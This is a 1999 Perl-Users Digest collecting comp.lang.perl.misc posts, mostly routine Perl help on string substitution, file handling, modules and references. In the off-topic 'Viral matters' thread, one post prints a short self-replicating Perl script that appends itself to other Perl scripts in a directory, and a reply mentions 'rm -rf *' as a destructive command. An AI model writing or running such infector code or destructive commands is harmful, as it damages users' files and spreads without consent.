[12518] in Perl-Users-Digest
Perl-Users Digest, Issue: 6118 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu Jun 24 14:07:13 1999
Date: Thu, 24 Jun 99 11:00:19 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Thu, 24 Jun 1999 Volume: 8 Number: 6118
Today's topics:
Re: 'ucfirst' for a sentence? <tchrist@mox.perl.com>
Re: 'ucfirst' for a sentence? <donny@impulsesoftware.com>
Re: A foreach question <cassell@mail.cor.epa.gov>
Automatic exit from perl script (Matthew Fleming)
Can not write my file to the server <jim.ray@west.boeing.com>
Re: Copying files and directories <cassell@mail.cor.epa.gov>
DBD::ODBC error Undefined symbol "SQLAllocEnv" <philip@adhesivemedia.com>
flock equivalent on win32 <kenrose@home.com>
Re: help on modules/packages <cw@dwc.ch>
Re: Hex to Decimal?? (Stefan Scholl)
Re: how to read excel file ? <Russell_Schulz@locutus.ofB.ORG>
Re: how to remove \n from middle of variable ()
Re: how to remove \n from middle of variable <aardvark@ibm.net>
Re: how to remove \n from middle of variable <splinter@monmouth.com>
Re: how to remove \n from middle of variable (Casey R Tweten)
Re: newbie: Grab URL into PERL? <radmoose@spam.spam.spam.not.bigfoot.com>
Re: PERLFUNC: continue - optional trailing block in a w <cassell@mail.cor.epa.gov>
Re: Referencing question, was: "Re: use strict question <fishers@lister.acm.wwu.edu>
should be how to remove ^M from middle of variable? <aardvark@ibm.net>
Re: use strict question (more on symbolic references) <d-edwards@uchicago.edu>
Re: Viral matters [completely off-topic] <cassell@mail.cor.epa.gov>
Re: Viral matters [completely off-topic] <dhenders@cpsgroup.com>
Re: Viral matters [completely off-topic] <tchrist@mox.perl.com>
Wraparound Array/list... (Mitch)
Re: Writing to a terminal from a perl script <fishers@lister.acm.wwu.edu>
Special: Digest Administrivia (Last modified: 12 Dec 98 (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 24 Jun 1999 11:15:30 -0700
From: Tom Christiansen <tchrist@mox.perl.com>
Subject: Re: 'ucfirst' for a sentence?
Message-Id: <377267b2@cs.colorado.edu>
[courtesy cc of this posting mailed to cited author]
In comp.lang.perl.misc, bing-du@tamu.edu writes:
:Let's say there is a sentence "deja news is helpful".
:Instead of 'split' the sentence first, then 'ucfirst' each word,
:Any other better way to convert the sentence to:
:"Deja News Is Helpful"?
You mean in some other fashion beyond the way laboriously detailed in the
standard perlfaq4 manpage included with each and every single distribution
of Perl, including the one sitting there unread and unloved, waiting
there for you personally on your very own personal system, even for
those miserable and pitiable creatures suffering under the oppressive
yoke of the Lord thy Bill?
% man perlfaq4
[...]
How do I capitalize all the words on one line?
To make the first letter of each word upper case:
$line =~ s/\b(\w)/\U$1/g;
This has the strange effect of turning "`don't do it'" into
"`Don'T Do It'". Sometimes you might want this, instead
(Suggested by Brian Foy):
$string =~ s/ (
(^\w) #at the beginning of the line
| # or
(\s\w) #preceded by whitespace
)
/\U$1/xg;
$string =~ /([\w']+)/\u\L$1/g;
To make the whole line upper case:
$line = uc($line);
To force each word to be lower case, with the first letter upper
case:
$line =~ s/(\w+)/\u\L$1/g;
You can (and probably should) enable locale awareness of those
characters by placing a `use locale' pragma in your program. See
the perllocale manpage for endless details on locales.
This is sometimes referred to as putting something into "title
case", but that's not quite accurate. Consider the proper
capitalization of the movie *Dr. Strangelove or: How I Learned
to Stop Worrying and Love the Bomb*, for example.
--
"If you don't know where you are going, any road will take you there."
Lewis Carroll, "Alice in Wonderland".
------------------------------
Date: Thu, 24 Jun 1999 17:27:11 GMT
From: Donny Widjaja <donny@impulsesoftware.com>
Subject: Re: 'ucfirst' for a sentence?
Message-Id: <37726BC3.A0D29057@impulsesoftware.com>
> Let's say there is a sentence "deja news is helpful".
> Instead of 'split' the sentence first, then 'ucfirst' each word,
> Any other better way to convert the sentence to:
> "Deja News Is Helpful"?
This is an example.
$test = "deja news is helpful";
$test =~ s/\w+/\u$&/g;
\w+ represents more than one letter.
\u will uppercase the first letter from $&.
$& is the string that the search found.
------------------------------
Date: Thu, 24 Jun 1999 09:41:24 -0700
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: A foreach question
Message-Id: <37725FB4.6E6EC3C5@mail.cor.epa.gov>
Larry Rosler wrote:
> [snip]
> > is one way [and there are many, so pick one you like].
> > But the text above is The Rosler Idiom.
>
> Yes. Yes. Yes. Keep saying it, and people will believe it! (But I
> think it really applies to '$x && $y', not '$foo and do $something'.)
I have said it three times, and so it is true.
:-)
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: 24 Jun 1999 16:04:43 GMT
From: mgf@post.its.mcw.edu (Matthew Fleming)
Subject: Automatic exit from perl script
Message-Id: <7ktkur$ju0@wiscnews.wiscnet.net>
Perlmeisters,
Just wondering if there is a module I could include that would make it
possible for my perl script to quit after a certain period of
inactivity (e.g., no keystrokes) from the user. I have some perl
scripts that connect to a database via DBI; the users of these scripts
are too lazy to log out, which leaves various zombies lying about.
Please reply via e-mail, if you don't mind.
Thanks,
Matthew Fleming
------------------------------------------------------------------------------
Matthew G. Fleming, MD phone : 414.456.4072
Associate Professor fax : 414.456.6518
Department of Dermatology s-mail: Dept. of Dermatology
Medical College of Wisconsin Medical College of Wisconsin
MFRC Room 4061
e-mail: mgf@mcw.edu Milwaukee, WI 53226-4810
------------------------------------------------------------------------------
------------------------------
Date: Thu, 24 Jun 1999 16:14:42 GMT
From: "Jim Ray" <jim.ray@west.boeing.com>
Subject: Can not write my file to the server
Message-Id: <FDuAGJ.HHF@news.boeing.com>
I am converting my UNIX perl scripts over to NT and I am having some
problems.
Right now the following code will create a file on the server. Under UNIX,
no problem, under NT big problem.
Here's the code...
open(DATA, ">>$dataname");
foreach $argsa(@Save)
{
print DATA ("$argsa\n");
}
close DATA;
NT will not create the file. I am running under IIS4 and have made sure the
everyone account allows writing the file and also that the NT rights for
every is set to FULL.
Still the file does not get created. I am I missing something here?
Thanks for the help.
Jim Ray
jim.ray@west.boenig.com
------------------------------
Date: Thu, 24 Jun 1999 10:22:20 -0700
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Copying files and directories
Message-Id: <3772694C.4924C0CA@mail.cor.epa.gov>
gershon_joseph@icomverse.com wrote:
> I am writing a Perl program to copy directories and files from our
> development server to our web server. I have checked the built-in
> Perl functions in the books "Perl in a Nutshell" and "Learning Perl" and
> have not found an efficient way to do this. Is there a function(s) to do
> this without reading the file and writing it out again? Some of these
> files are binary files, which I would rather not read.
Check out File::Copy , and if you want to do this on directory
trees, you might want to look at File::Find as well.
HTH,
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Thu, 24 Jun 1999 09:25:55 -0700
From: Philip Hallstrom <philip@adhesivemedia.com>
Subject: DBD::ODBC error Undefined symbol "SQLAllocEnv"
Message-Id: <Pine.BSF.4.10.9906240924060.8233-100000@velvet.eilio.com>
Hi -
I'm having problems getting DBD::ODBC to work. Here's my setup:
OS: FreeBSD 3.1-19990309-STABLE
Mysql: 3.22.23b (/local/db/mysql)
iODBC: 2.50.2 (/local/db/iodbc)
MyODBC: 2.50.24 (/local/db/myodbc)
I've gotten all of this to work with Apache, and I can use Perl's
DBI::Mysql modules, but DBD::ODBC I'm having problems with.
I managed to get it compiled after tweaking both Makefile.PL and Makefile,
but then dbdodbc.h complains that I do not have iodbc.h (and I don't, not
even in the distribution for iODBC). I commented that out and it compiles
just fine, but fails make test with:
install_driver(ODBC) failed: Can't load 'blib/arch/auto/DBD/ODBC/ODBC.so'
for module DBD::ODBC: blib/arch/auto/DBD/ODBC/ODBC.so: Undefined symbol
"SQLTables" at /usr/libdata/perl/5.00502/DynaLoader.pm line 168.
Running the following in Perl produces the following output:
use DBI;
$dbh = DBI->connect('dbi:ODBC:bar', 'nobody', 'nobody');
/usr/libexec/ld-elf.so.1:
/usr/local/lib/perl5/site_perl/5.005/i386-freebsd/auto/DBD/ODBC/ODBC.so:
Undefined symbol "SQLAllocEnv"
Can someone shed some light on what I'm missing? Or what I need to do to
get this to work.
I know I could use DBI::Mysql stuff, and I would if I could, but I can't
this time...
Thanks!
-philip
------------------------------
Date: Thu, 24 Jun 1999 16:53:24 GMT
From: Kenneth Rose <kenrose@home.com>
Subject: flock equivalent on win32
Message-Id: <37726270.3296DDEA@home.com>
Hi all,
Here is my situation. I'm writing a very simple CGI script using Perl.
It will be something that logs users comments to a file (like a
guestbook, but they can't see it). Anyways, the thing is that I want to
make sure the file is locked so that there is no chance that the file
gets written to at the same time by two different users. Unfortunately,
I'm running this on WinNT, which doesn't have any type of flock function
(that I know of).
Any ideas?
/<en Rose
------------------------------
Date: Thu, 24 Jun 1999 17:55:37 +0200
From: Christoph Wernli <cw@dwc.ch>
To: Daniel Heiserer <daniel.heiserer@bmw.de>
Subject: Re: help on modules/packages
Message-Id: <377254F9.9D42B188@dwc.ch>
[posted and mailed]
Daniel Heiserer wrote:
>
> As far as I understood the "main"
> should become aware of the variable "why".
> Why doesn't it.
It does. Your $why is $main::why, but you're probably looking for $dh_default::why
instead.
-w
> #--------------------------------
> #! /usr/local/bin/perl
> use dh_default;
> print "pl-why:$why";
> if ($#ARGV==0){
> system("perldoc -t $0");
> };
>
> 1;
>
> __END__
>
> =head1 NAME
>
> TEST - TEST the gory details of perl
> #--------------------------------
> package dh_default;
> ### Daniel Heiserer, 24.June,1999
>
> use Exporter;
> @ISA = qw(Exporter);
> @EXPORT = qw(why);
> #make life nice and easy
> $[=1;
> $\="\n";
> $,="-";
> $why="I don't know";
> #
> print "argv=$#ARGV";
> print "dollar-0=$0";
> #if ($#ARGV==0){
> # system("perldoc -t $0");
> #};
> print "\$[=$[";
> 1;
> #------------------------------------------------------------------------
>
> Thanks, bye daniel
>
> --
> Mit freundlichen Gruessen
> Daniel Heiserer
> -----
> --------------------------------------------------------------
> Dipl.-Phys. Daniel Heiserer, BMW AG, Knorrstrasse 147, 80788 Muenchen
> Abteilung EK-20
> Tel.: 089-382-21187, Fax.: 089-382-42820
> mailto:daniel.heiserer@bmw.de
------------------------------
Date: 23 Jun 1999 16:42:14 GMT
From: stesch@parsec.rhein-neckar.de (Stefan Scholl)
Subject: Re: Hex to Decimal??
Message-Id: <slrn7n23j6.q6.stesch@parsec.rhein-neckar.de>
On Thu, 17 Jun 1999 18:59:10 -0500, seong joon bae <seongbae@students.uiuc.edu> wrote:
> How would you write a little script that converts hex to dec...?
No problem. You're allowed to do so.
------------------------------
Date: Thu, 24 Jun 1999 12:00:11 -0400
From: Russell Schulz <Russell_Schulz@locutus.ofB.ORG>
Subject: Re: how to read excel file ?
Message-Id: <19990624.120011.0B2.rnr.w164w@locutus.ofB.ORG>
"Gopal Kethineni" <kkethine@cisco.com> writes:
> How do I read MS-Excel file in perl for unix and manipulate the
> data and save it in text format?
Your best course of action is to ask the person who's saving their data
in a Big Ugly Binary format (Excel) to stop -- for instance, ask if they
can use the almost-as-full-featured SYLK instead, which is text-based
and trivial to parse.
But there are perl attempts to unravel Excel files on the web.
More information is in the c.a.s FAQ:
The FAQ list for comp.apps.spreadsheets can be found on the Internet:
<ftp://rtfm.mit.edu/pub/usenet/comp.apps.spreadsheets/faq>
<http://www.faqs.org/faqs/spreadsheets/faq/>
--
Russell_Schulz@locutus.ofB.ORG Shad 86c
------------------------------
Date: 24 Jun 1999 16:05:15 GMT
From: mr@kells.kells ()
Subject: Re: how to remove \n from middle of variable
Message-Id: <slrn7n4m5s.k7.mr@kells.kells>
Take a closer look at how you are setting $variable. Print
it out just before you do tr///. I'm guessing your reading
$variable line by line and it's really set to "line three\n"
before you do the translation. tr/// is doing what you
want it to do.
Martin
mr@webcamnow.com
On Thu, 24 Jun 1999 10:53:40 -0400, David Barnes <aardvark@ibm.net> wrote:
>I have a variable that holds multiple lines kind of like:
>
>line one
>line two
>line three
>
>I would like to remove the \n from the variable so that it holds
>
>line one line two line three
>
>using $variable =~ tr/\n/ /; gets rid of everything up to the last \n,
>so my result is only
>
>line three
>
>which really confuses me. Thank you for any help.
>
>
>
>
------------------------------
Date: Thu, 24 Jun 1999 12:22:10 -0400
From: David Barnes <aardvark@ibm.net>
To: mr@kells.kells
Subject: Re: how to remove \n from middle of variable
Message-Id: <37725B32.4710F018@ibm.net>
Thank you, but that doesn't seem to be it. I have enclosed $variable in
quotes and printed it out, and it does indeed contain all three lines.
mr@kells.kells wrote:
> Take a closer look at how you are setting $variable. Print
> it out just before you do tr///. I'm guessing your reading
> $variable line by line and it's really set to "line three\n"
> before you do the translation. tr/// is doing what you
> want it to do.
>
> Martin
> mr@webcamnow.com
>
> On Thu, 24 Jun 1999 10:53:40 -0400, David Barnes <aardvark@ibm.net> wrote:
> >I have a variable that holds multiple lines kind of like:
> >
> >line one
> >line two
> >line three
> >
> >I would like to remove the \n from the variable so that it holds
> >
> >line one line two line three
> >
> >using $variable =~ tr/\n/ /; gets rid of everything up to the last \n,
> >so my result is only
> >
> >line three
> >
> >which really confuses me. Thank you for any help.
> >
> >
> >
> >
------------------------------
Date: Thu, 24 Jun 1999 12:40:58 -0400
From: "Matt" <splinter@monmouth.com>
Subject: Re: how to remove \n from middle of variable
Message-Id: <7ktmvs$oa6$1@news.monmouth.com>
Ok,
So
$VARIABLE = "LINE1\nLINE2\nLINE3\n"
do
$VARIABLE =~ s/\n//g;
That should work...I believe (I'm no expert but try it! It works for me.)
-MAtt
------------------------------
Date: Thu, 24 Jun 1999 16:06:43 GMT
From: crt@highvision.com (Casey R Tweten)
Subject: Re: how to remove \n from middle of variable
Message-Id: <37725777.131894709@news.kiski.net>
On Thu, 24 Jun 1999 10:53:40 -0400, David Barnes <aardvark@ibm.net>
wrote:
:I have a variable that holds multiple lines kind of like:
:
:line one
:line two
:line three
:
:I would like to remove the \n from the variable so that it holds
:
:line one line two line three
$var =~ s/\n/ /g;
--
Casey Tweten HighVision Associates
Web Developer http://www.highvision.com
<joke> This is 100% certified,
virus and bug free code </joke>
------------------------------
Date: Thu, 24 Jun 1999 10:38:24 -0700
From: "R. Moose" <radmoose@spam.spam.spam.not.bigfoot.com>
Subject: Re: newbie: Grab URL into PERL?
Message-Id: <z2uc3.1284$Sl3.69430@nuq-read.news.verio.net>
Thanks for the reply. Please see my comments inline...
Kazuma <kazuma@my-deja.com> wrote in message
news:7krm13$k1m$1@nnrp1.deja.com...
>
> > My problem is:
> > I want to grab the calling URL and parse it inside of PERL.
> > [...]
> > YOU ARE HERE >> BOOKS >> BN >> PERL
> > [...]
> > But the main part that has me stuck is getting the
> > full URL into the PERL script.
[SNIP]
> my $url = "http://www.myurl.it/dir/page.html";
> my ($protocol, $site, @infos) = split(/\/+/, $url);
[SNIP]
How do I get the URL into the PERL script? In your example, you have set
the URL to a predefined URL, I want to grab the URL from the calling page
and stuff it into the URL variable.
> The last "if" is important because you can have a url
> like "http://www.myurl.it"...
>
Thanks for the actual code and information as well as the info about the
possible problem of it being called from a base URL. I apreciate the
direction and feedback.
------------------------------
Date: Thu, 24 Jun 1999 09:33:12 -0700
From: David Cassell <cassell@mail.cor.epa.gov>
To: Tom not Gnat <perlfaq-suggestions@perl.com>
Subject: Re: PERLFUNC: continue - optional trailing block in a while or foreach
Message-Id: <37725DC8.294D15F3@mail.cor.epa.gov>
[cc sent to perlfaq-suggestions as well]
Tom Christiansen wrote:
> [the usual clear exposition]
>
> while (EXPR) {
> ### redo always comes here
### redo always goes to this point
> do_something;
> } continue {
> ### next always comes here
### next always goes to this point
> do_something_else;
> # then back the top to re-check EXPR
> }
> ### last always comes here
### last always goes to this point
Just last week I had someone come ask me about this page.
She was concerned because she was reading the text 'next always
comes here' as the equivalent of 'next is always placed here
by the programmer'. And that conflicted with other Perl docs
she had read. So perhaps a little more clarity would help.
Or not...
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: Thu, 24 Jun 1999 08:58:41 -0700
From: Shane Fisher <fishers@lister.acm.wwu.edu>
To: Eric Bohlman <ebohlman@netcom.com>
Subject: Re: Referencing question, was: "Re: use strict question"
Message-Id: <Pine.BSF.4.05.9906240857260.1782-100000@lister.acm.wwu.edu>
On Thu, 24 Jun 1999, Eric Bohlman wrote:
>
> You've got your precedences wrong. Dereferencing has a higher precedence
> that subscripting, so your code is actually trying to treat $filter_hash
> as a subroutine reference, dereference it, and then try to subscript the
> result. Two solutions:
>
> 1) &{$filter_hash{default}}(@message);
>
> Here the curlies force $filter_hash{default} to be treated as a block
> which evaluates to the actual reference. Note that you don't need quotes
> around a hash key if the key meets the rules for a Perl identifier.
>
> 2) $filter_hash{default}->(@message);
>
> IMHO, this looks better.
Thanks, number two works great!
Regards,
Shane
=========================================================================
Shane M. Fisher
CS Major, Western Washington University
E-Mail: fishers@acm.wwu.edu, smfisher@gte.net
Web: http://www.acm.wwu.edu/fishers
=========================================================================
------------------------------
Date: Thu, 24 Jun 1999 12:40:15 -0400
From: David Barnes <aardvark@ibm.net>
Subject: should be how to remove ^M from middle of variable?
Message-Id: <37725F6E.20088972@ibm.net>
Okay, using vi on the output shows ^M in the middle of my variable, coming
from the browser. Can someone please explain what's going on? Perhaps my
URL unencoding isn't right? I'm using:
$val =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
Thanks for any help.
David Barnes wrote:
> I have a variable that holds multiple lines kind of like:
>
> line one
> line two
> line three
>
> I would like to remove the \n from the variable so that it holds
>
> line one line two line three
>
> using $variable =~ tr/\n/ /; gets rid of everything up to the last \n,
> so my result is only
>
> line three
>
> which really confuses me. Thank you for any help.
------------------------------
Date: Thu, 24 Jun 1999 17:25:17 GMT
From: Darrin Edwards <d-edwards@uchicago.edu>
Subject: Re: use strict question (more on symbolic references)
Message-Id: <tg1zf1cxz6.fsf@noise.bsd.uchicago.edu>
hudson@swcp.com (Tramm Hudson) writes:
> The upshot of my complaint is this:
>
> #!/usr/bin/perl -w
> use strict;
> sub foo { print "foo is called\n" }
>
> my $ref1 = &{"foo"}; # Error: String as subroutine ref
> my $ref2 = \&{"foo"}; # No error
>
> my $ref3 = &{"no_such_func"}; # Error:
> my $ref4 = \&{"no_such_func"}; # No error
> print "ref4 = $ref4\n"; # A CODE reference? What?
> __END__
Could this just be a case of autovivification? I mean, if you
just took a variable and treated it as an array ref, for example,
Perl wouldn't complain until you actually tried to do something with
the referenced value (trying to print an element of the array if
you hadn't populated it, say). If I add a line
&{$ref4};
after code similar to yours above, I get the print statement's output,
plus a run-time error message:
ref4 claims to be CODE(0x2007ee34)
Undefined subroutine &main::no_such_func called at -e line 9.
I guess Perl has no way of knowing you're not going to do something
like
do 'file_defining_no_such_func_et_al.pl';
_after_ the ref assignment but _before_ the sub call I have above,
which would make the whole deal perfectly legal. Making the
ref assignment _itself_ (i.e., populating the scalar with a ref
to a (currently) undefined sub) illegal would prevent you from
performing this (perhaps contrived but at least syntactically valid
as far as I can see) sequence.
Perl's philosophy of "innocent until proven guilty" has suited
a miscreant like me quite well. :)
Darrin
------------------------------
Date: Thu, 24 Jun 1999 10:01:16 -0700
From: David Cassell <cassell@mail.cor.epa.gov>
Subject: Re: Viral matters [completely off-topic]
Message-Id: <3772645C.CC3D8C6B@mail.cor.epa.gov>
Philip 'Yes, that's my address' Newton wrote:
>
> After installing the newest ActiveState build of Perl in order to get
> newer docs, I had a look at some of the Win32 specific facts. One of
> them specifically points people at Selena Sol's and Matt Wright's
> script archives as places to get scripts from. ... Don't know whether
> there's much to add to that.
It's another viral infection, of course. Maybe you should
mention this to ActiveState.
Hmmm.. the win32perlfaq doesn't actually say you *should* get
scripts from there, just that they are famous. It doesn't even
say what they're famous *for*...
David
--
David Cassell, OAO cassell@mail.cor.epa.gov
Senior computing specialist
mathematical statistician
------------------------------
Date: 24 Jun 1999 12:11:17 -0500
From: Dale Henderson <dhenders@cpsgroup.com>
Subject: Re: Viral matters [completely off-topic]
Message-Id: <87lnd9h6bu.fsf@camel.cpsgroup.com>
>>>>> "Tom" == Tom Christiansen <tchrist@mox.perl.com> writes:
Tom> Feel free to point others thither. No, Unix has no viruses.
Tom> Neither does Perl.
Well what do you call this?
#!/usr/bin/perl
#VIRUS#
@files=readdir(.);
foreach (@files){
open(FILE, "<$_")||next;
$line=<FILE>;
close(FILE);
if ($line=~m%^#!/usr/.*/perl%){
open (FILE,">>$_")||next;
open (ME,"<$0")||last;
while (<ME>){
print FILE $_ if (/^#VIRUS#/...eof());
}
close(FILE);
close(ME);
}
}
------------------------------
Date: 24 Jun 1999 11:43:15 -0700
From: Tom Christiansen <tchrist@mox.perl.com>
Subject: Re: Viral matters [completely off-topic]
Message-Id: <37726e33@cs.colorado.edu>
[courtesy cc of this posting mailed to cited author]
In comp.lang.perl.misc,
Dale Henderson <dhenders@cpsgroup.com> writes:
: Well what do you call this?
Well, I call it a syntax error, but beyond that, a confusion
about who gets to do what to what.
If I send you a piece of mail saying to run:
rm -rf *
And you do that, it's hardly a virus. And you deserve to die. I'm so
tired of the script kiddies who think Unix only lacks viruses because
people don't care to write them. They're fundamentally missing the point
of privilege management.
--tom
--
"Everything should be made as simple as possible, but not simpler."
-- Albert Einstein.
------------------------------
Date: Thu, 24 Jun 1999 17:39:27 GMT
From: portboy@home.com (Mitch)
Subject: Wraparound Array/list...
Message-Id: <3771fc5a.489109662@24.0.3.71>
I'd like to have an wraparound array that consists of five elements
(strings). The reason for having the wraparound array is to keep a
listing of the last ten things that happened in my script. So, let's
say the user has made these last changes:
foo bar
array fun
hash neato
foo fun
fun foo
Remember, that these entries into the buffer are only strings. So now
if the user changed:
pepsi sucks
so the new buffer when output would be:
array fun
hash neato
foo fun
funf oo
pepsi sucks
we just popped off "foo bar". So, my question is, how can I implement
this?
Thanks, mitch
------------------------------
Date: Thu, 24 Jun 1999 09:08:35 -0700
From: Shane Fisher <fishers@lister.acm.wwu.edu>
To: Darren Bane <dbane@shannon.tellabs.com>
Subject: Re: Writing to a terminal from a perl script
Message-Id: <Pine.BSF.4.05.9906240907220.1782-100000@lister.acm.wwu.edu>
On Thu, 24 Jun 1999, Darren Bane wrote:
> In article
> <Pine.BSF.4.05.9906231451060.13773-100000@lister.acm.wwu.edu>,
> Shane Fisher <fishers@lister.acm.wwu.edu> wrote:
> > Greets,
> >
> > I am trying to figure out how to write to my terminal from a perl
> script
> > invoked by another process.
>
> man wall. wall just does what other people have advised you to do
> directly, i.e. writes to the /dev/ttyXX devices.
I don't want to write to an entire group, though. Just the recipient of
the email message (in a similar manner to XBiff).
Regards,
Shane
=========================================================================
Shane M. Fisher
CS Major, Western Washington University
E-Mail: fishers@acm.wwu.edu, smfisher@gte.net
Web: http://www.acm.wwu.edu/fishers
=========================================================================
------------------------------
Date: 12 Dec 98 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Special: Digest Administrivia (Last modified: 12 Dec 98)
Message-Id: <null>
Administrivia:
Well, after 6 months, here's the answer to the quiz: what do we do about
comp.lang.perl.moderated. Answer: nothing.
]From: Russ Allbery <rra@stanford.edu>
]Date: 21 Sep 1998 19:53:43 -0700
]Subject: comp.lang.perl.moderated available via e-mail
]
]It is possible to subscribe to comp.lang.perl.moderated as a mailing list.
]To do so, send mail to majordomo@eyrie.org with "subscribe clpm" in the
]body. Majordomo will then send you instructions on how to confirm your
]subscription. This is provided as a general service for those people who
]cannot receive the newsgroup for whatever reason or who just prefer to
]receive messages via e-mail.
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.
The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V8 Issue 6118
**************************************